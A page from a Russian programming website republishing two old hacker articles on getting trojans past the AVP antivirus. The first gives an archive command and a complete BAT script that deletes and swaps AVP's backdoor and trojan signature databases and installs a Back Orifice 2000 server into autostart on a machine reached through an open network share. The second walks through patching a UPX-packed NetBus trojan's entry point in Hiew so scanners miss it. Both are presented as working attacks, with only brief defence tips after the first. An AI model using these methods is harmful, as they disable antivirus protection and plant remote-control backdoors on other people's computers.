Навигация
Главная
Поиск
Форум
FAQ's
Ссылки
Карта сайта
Чат программистов

Статьи
-Delphi
-C/C++
-Turbo Pascal
-Assembler
-Java/JS
-PHP
-Perl
-DHTML
-Prolog
-GPSS
-Сайтостроительство
-CMS: PHP Fusion
-Инвестирование

Файлы
-Для программистов
-Компонеты для Delphi
-Исходники на Delphi
-Исходники на C/C++
-Книги по Delphi
-Книги по С/С++
-Книги по JAVA/JS
-Книги по Basic/VB/.NET
-Книги по PHP/MySQL
-Книги по Assembler
-PHP Fusion MOD'ы
-by Kest
Professional Download System
Реклама
Услуги

Автоматическое добавление статей на сайты на Wordpress, Joomla, DLE
Заказать продвижение сайта
Программа для рисования блок-схем
Инженерный калькулятор онлайн
Таблица сложения онлайн
Популярные статьи
OpenGL и Delphi... 65535
Форум на вашем ... 65535
HACK F.A.Q 65535
Бип из системно... 65535
Гостевая книга ... 65535
Invision Power ... 65535
Пример работы с... 65535
Содержание сайт... 65535
ТЕХНОЛОГИИ ДОСТ... 65535
Организация зап... 65535
Вызов хранимых ... 65535
Создание отчето... 65535
Программируемая... 65535
Эмулятор микроп... 65535
Подключение Mic... 65535
Создание потоко... 65535
Приложение «Про... 65535
Оператор выбора... 65535
Модуль Forms 65535
21 ошибка прогр... 63304
Реклама
Сейчас на сайте
Гостей: 7
На сайте нет зарегистрированных пользователей

Пользователей: 13,134
новичок: AndreyVasilenko
Новости
Реклама
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian

База данных студентов на Delphi + Microsoft SQL Server
Моделирование процесса передачи данных по магистрали с основным и резерв...
Моделирование круглосуточного интернет кафе на GPSS + Отчет

Реклама



Подписывайся на YouTube канал о программировании, что бы не пропустить новые видео!

ПОДПИСЫВАЙСЯ на канал о программировании
Как обойти AVP
Цель данной статьи -
показать способ взлома вашего компьютера. Автор не несет никакой ответственности
за ущерб, который может быть следствием прочтения этого сообщения.




Данный метод работает только на Windows 9x русских версиях (для английских
версий необходимо подправить каталог автозапуска), а также при инсталляции
Antiviral Toolkit Pro в c:\program files\antiviral toolkit pro\ (по
умолчанию).

Рассмотрим следующую ситуацию: есть хост, имеющий общий ресурс С с полным
доступом, установленным Antiviral Toolkit Pro. Как положить на него backdoor?
Для этого надо заархивировать с паролем (BackdooR) сервер бакдора (будем
использовать Back Oriffice 2000). Пароль используется для того, чтобы AVP сканер
не смог обнаружить сервер бакдора:

PKZIP.EXE -a -sBackooR asyslg.dll BO2K.EXE

Теперь AVP не сможет увидеть сигнатуры BO2k в ASYSLG.DLL (если установлена опция
проверки архивов). Затем необходимо обеспечить запуск сервера и обезвредить AVP.
Для этого напишем BAT-файл:

@echo off

attrib -R c:\progra~1\antivi~1\backdoor.avc >nul

attrib -R c:\progra~1\antivi~1\trojan.avc >nul

del c:\progra~1\antivi~1\backdoor.avc >nul

del c:\progra~1\antivi~1\trojan.avc >nul

copy c:\progra~1\antivi~1\macro.avc c:\progra~1\antivi~1\backdoor.avc >nul

copy c:\progra~1\antivi~1\mail.avc c:\progra~1\antivi~1\trojan.avc >nul

c:\windows\pkunzip.exe -e -sBackdooR c:\windows\ASYSLG.DLL

C:\Windows\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\ >nul

del c:\windows\pkunzip.exe >nul

del c:\windows\asyslg.dll >nul

del c:\winstart.bat >nul

echo on




Расшифровка построчно:



отключение вывода на экран выполняемых команд

снятие атрибута READONLY с файла backdoor.avc (база сигнатур для бакдоров)

снятие атрибута READONLY с файла tojan.avc (база сигнатур для троянов)

удаление файла backdoor.avc

удаление файла tojan.avc

подмена базы (для того, чтобы при запуске сканера AVP не ругался)

подмена базы (отсутствие базы)

разархивация бакдора и помещение его автозагрузку

удаление PKUNZIP

удаление архива с бакдором

удаление файлы запуска




Почему это будет работать? Потому что при старте Windows если в главном каталоге
находится файл WINSTART.BAT он запускается на выполнение. При этом пользователь
не увидит ни одного сообщения. Затем необходимо скопировать на удаленный
компьютер следующие файлы:

ASYSLG.DLL в директорию c:\windows\

PKUNZIP.EXE в директорию c:\windows\

WINSTART.BAT в директорию c:\



Итого необходимо будет закачать 86.508 байт.

Все. После перезагрузки на компьютере из автозагрузки запустится сервер, удалит
себя оттуда и запишет себя в c:\windows\system\ (сервер должен быть
сконфигурирован на удаление оригинального файла). В принципе, можно использовать
архиватор CAB, и проводить распаковывание программой EXTRACT.EXE, которая
присутствуют на почти всех компьютерах, что позволит уменьшить размер
перекачиваемых данных, однако данный архиватор не позволяет архивировать с
паролем, что может привести к обнаружению сервера бакдора сканером (если
включена опция проверки архивов).

Рекомендации по защите от данного вида атаки:

Закройте все общие ресурсы! Если вы без них жить не можете установите на них
пароль (не менее 6 символов и не менее 1 спецсимвола).

Поставьте себе Firewall. Даже если эта атака пройдет успешной, получить доступ к
вашей системе не удастся - Firewall вас сразу же предупредит о попытке
проникновения. Я рекомендую Tiny Personal Firewall.

При обнаружении и внезапной пропажи каких-то файлов сразу проверяйте свои диски
антивирусом, а также проводите профилактическое сканирование дисков не менее
одного раза в неделю.

Своевременно обновляйте антивирусные базы.

Автор: ZaDNiCa

Модифицируем троян или как обойти AVP #2

Прочитав повествование об обмане AVP при посылке трояна на удаленный компьютер я
был сказочно обрадован полетом народной мысли :) Но разве можно заниматься таким
вредительством, как удаление баз с вирусными сигнатурами - это сакс (не
по-кулхацкерски), к тому же каждый дурак любит постоянно обновлять базы - благо
на халяву и автоматом :(

Теперь и я хочу поделиться кое-каким методом. Задача стара как мир - не
занимаясь написанием своего трояна, надо сделать имеющийся незаметным для
антивируса. Итак, нам понадобятся:

PE компрессор UPX (http://upx.tsx.org)

Шестнадцатеричный редактор Hiew (http://protools.cjb.net)

ProcDump32 как редактор PE (http://protools.cjb.net)

Минимальные познания в ассемблере

Собственно троян. Я взял старый NetBUS (уж что нашлось)

Правильно установленный девайс "руки"

Так как же антивирус ищет вирусы и трояны? Какое-то время назад я пообщался с
очень умными людьми, которые сообщили мне, что это "Страшная Тайна", и
официальной информации я по этому поводу не найду. Но если в вкратце, то
антивирус, не обнаружив в файле известных сигнатур (последовательностей байт),
применяет "эвристику" - начинает смотреть, что за команды идут в файле, и
пытается их эмулировать и "смотреть", что же эти команды могут делать, поскольку
не может просто запустить файл, дождаться, пока он сам распакуется/расшифруется
в память, дабы случайно не заразить комп, на котором запускается этот файл.
Однако многие команды (например, настройку импорта) процессора он не может
проэмулировать, поэтому, встретив такие команды, он просто забивает на
дальнейшую проверку, даже не говоря о своей некомпетентности :)

К счастью (или нет), все пакеры для оптимизации пишутся настолько через задницу,
что антивирус приходит в дикий восторг, т.е. бросает проверку файла, что нам и
надо. Тем не менее, у AVP есть набор функций, с помощью которых он может
определить, чем запакован файл, и распаковать его по имеющейся схеме, что он и
делает в частности для UPX, и обнаруживает трояна в запакованном файле. Основная
идея заключается в том, что нам надо изменить распаковщик таким образом, чтобы
антивирус не признал в файле известный ему пакер и пропустил проверку. Итак,
займемся делом.

Берем файл patch.ex_ из архива original.zip (я его специально так назвал, чтобы
ни у кого не было соблазна запустить его, а потом обвинять меня в
распространении троянов). Я этот файл уже пожал UPX. Файл определяется AVP как
Backdoor.NetBUS.170. Если используете другой троян, то пакуем его с помощью UPX.
AVP все равно определяет трояна, но говорит, что файл пожат UPX. Хех, я это и
так знаю…Теперь натравливаем на пожатый файл PE Editor из ProcDump32. Нам надо
посмотреть адрес точки входа в файл (Entry Point) и адрес загрузки (Image Base).
Имеем:

Entry Point: 00082460h

Image Base: 00400000h

Теперь открываем файл в Hex редакторе Hiew. Переходим в режим дизассемблера
(F4/Decode). Отправляемся по адресу Entry Point + Image Base = 00482460h (у кого
плохо с шестнадцатеричной математикой, может воспользоваться стандартным
мастдайским калькулятором - там есть Hex режим). Для этого жмем Goto (F5) и
набиваем в качестве адреса ".482460" (точка перед адресом нужна потому что это
виртуальный адрес). Видим начало распаковщика - что то вроде этого:

.00482460: 60 pushad

.00482461: BE00304500 mov esi,000453000 ;" E0 "

.00482466: 8DBE00E0FAFF lea edi,[esi][0FFFAE000]

.0048246C: C787B0C405001C340F90 mov d,[edi][00005C4B0],0900F341

.00482476: 57 push edi

.00482477: 83CDFF or ebp,-001 ;" "

.0048247A: EB0E jmps .00048248A


То, что надо. Теперь надо найти свободное место для патча. Пролистаем страниц 6
вниз, и видим немного места забитого нулями - это добрый дядя Билли придумал
выравнивание секций. Вот это и нужно было нам. Я выбрал адрес 004825CFh. Теперь
подводим курсор к этому адресу и начинаем редактировать файл в ассемблерном
режиме (F3/F2). Заколачиваем всего две команды: push OEP и ret (не забывая жать
enter после ввода каждой команды :) Где ОЕР это Entry Point + Image Base, т.е. в
нашем случае это число 00482460 - для других файлов соответственно будет другое.
Итого забили вот что:

Push 00482460

Ret

Сохраняем изменения (F9) и теперь файло выглядит примерно так: .004825A9:
8903 mov [ebx],eax

.004825AB: 83C304 add ebx,004 ;" "

.004825AE: EBE1 jmps .000482591

.004825B0: FF9698380800 call d,[esi][000083898]

.004825B6: 61 popad

.004825B7: E9B87CFDFF jmp .00045A274

.004825BC: D425 aam 025

.004825BE: 48 dec eax

.004825BF: 00E0 add al,ah

.004825C1: 254800B0D4 and eax,0D4B00048 ;"+_ H"

.004825C6: 45 inc ebp

.004825C7: 0000 add [eax],al <-- Это было забито нулями

.004825C9: 0000 add [eax],al

.004825CB: 0000 add [eax],al

.004825CD: 0000 add [eax],al

.004825CF: 6860244800 push 000482460 ;" H$`" <-- Это наша вставка

.004825D4: C3 retn

.004825D5: 0000 add [eax],al <-- Опять нули

.004825D7: 0000 add [eax],al


Остался последний рывок. Снова открываем файл в PE Editor'е от ProcDump32 и
меняем точку входа на адрес нашей вставки, не забыв от виртуально адреса отнять
Image Base, т.е. в Entry Point пишем 000825CF (Offset - Image Base = 004825CF -
00400000 = 000825CF). Кто знаком с ассемблером, тот поймет, что было сделано, а
кто не знает (sic!) - тому это не нужно :) Вся операция занимает 2-3 минуты и
литр пива.

Проверьте полученный файл (лежит в patched.zip) антивирусом. Мой AVP (как
сканер, так и монитор) ничего не заметили, даже не сказали что, файл пожат. Вот
такой он "народный", "самый лучший" антивирус. Кстати, Dr.Web тоже отсосал и все
такое.

Полученный файл прекрасно работает у меня на WinME, как будет он себя вести на
Win2k или НТ - Х.З. Я не проверял, но причин для отказа в работе я не вижу. Если
у кого-то не получится так сделать - мылить мне не нужно, а надо переустановить
драйвера устройства "руки".

Автор: Dr.Golova

Примечание (от НиФиГаСебе!): На сегодняшний день пропатченный троян определяется
с помощью AVP, как Trojan.PSW.Delf.c/ Во м*даки, они даже поленились
исследовать его, они думают, что это PSW троян!
Опубликовал Kest Октябрь 26 2008 16:19:05 · 0 Комментариев · 6971 Прочтений · Для печати

• Не нашли ответ на свой вопрос? Тогда задайте вопрос в комментариях или на форуме! •


Комментарии
Нет комментариев.
Добавить комментарий
Имя:



smiley smiley smiley smiley smiley smiley smiley smiley smiley
Запретить смайлики в комментариях

Введите проверочный код:* =
Рейтинги
Рейтинг доступен только для пользователей.

Пожалуйста, залогиньтесь или зарегистрируйтесь для голосования.

Нет данных для оценки.
Гость
Имя

Пароль



Вы не зарегистрированны?
Нажмите здесь для регистрации.

Забыли пароль?
Запросите новый здесь.
Поделиться ссылкой
Фолловь меня в Твиттере! • Смотрите канал о путешествияхКак приготовить мидии в тайланде?
Загрузки
Новые загрузки
iChat v.7.0 Final...
iComm v.6.1 - выв...
Visual Studio 200...
CodeGear RAD Stud...
Шаблон для новост...

Случайные загрузки
TmxOutlookBarPro
SUIPack
AddPage [Исходник...
Рисование PopupMenu
Программа предназ...
PHP: настольная к...
Мониторинг сервер...
Программа "AutoRu...
Система баннеро-о...
Пятнашки и крести...
C++ Builder 6 СПР...
Borland Delphi 6....
Plasma
MxProtector
Geo-Whois
PHP глазами хакера
Midi
Язык программиров...
Fig [Исходник на ...
Векторный редакто...

Топ загрузок
Приложение Клие... 100575
Delphi 7 Enterp... 93778
Converter AMR<-... 20125
GPSS World Stud... 16139
Borland C++Buil... 13484
Borland Delphi ... 9447
Turbo Pascal fo... 7150
Калькулятор [Ис... 5358
Visual Studio 2... 5055
FreeSMS v1.3.1 3578
Случайные статьи
• Какое имя присво...
БЛОКИ, ИЗМЕНЯЮЩИЕ ...
Matrix: срезка дву...
13-5)
Решение сложных за...
Обработка многомер...
Правила работы с И...
Протокол PPPoE
Создание баз LSDB ...
Настройки чтения
File: are not allo...
Блок дАМА
Язык XSL как спосо...
Как получить досту...
Новейший гибкий O...
Работа с объектом ...
Содержательное опи...
Local object types...
Функции из библиот...
Подготовка удаленн...
Важная информация
Документы консорци...
управления DataGrid
98/NT 4
библиотеки giu
Статистика



Друзья сайта
Программы, игры


Полезно
В какую объединенную сеть входит классовая сеть? Суммирование маршрутов Занимают ли таблицы память маршрутизатора?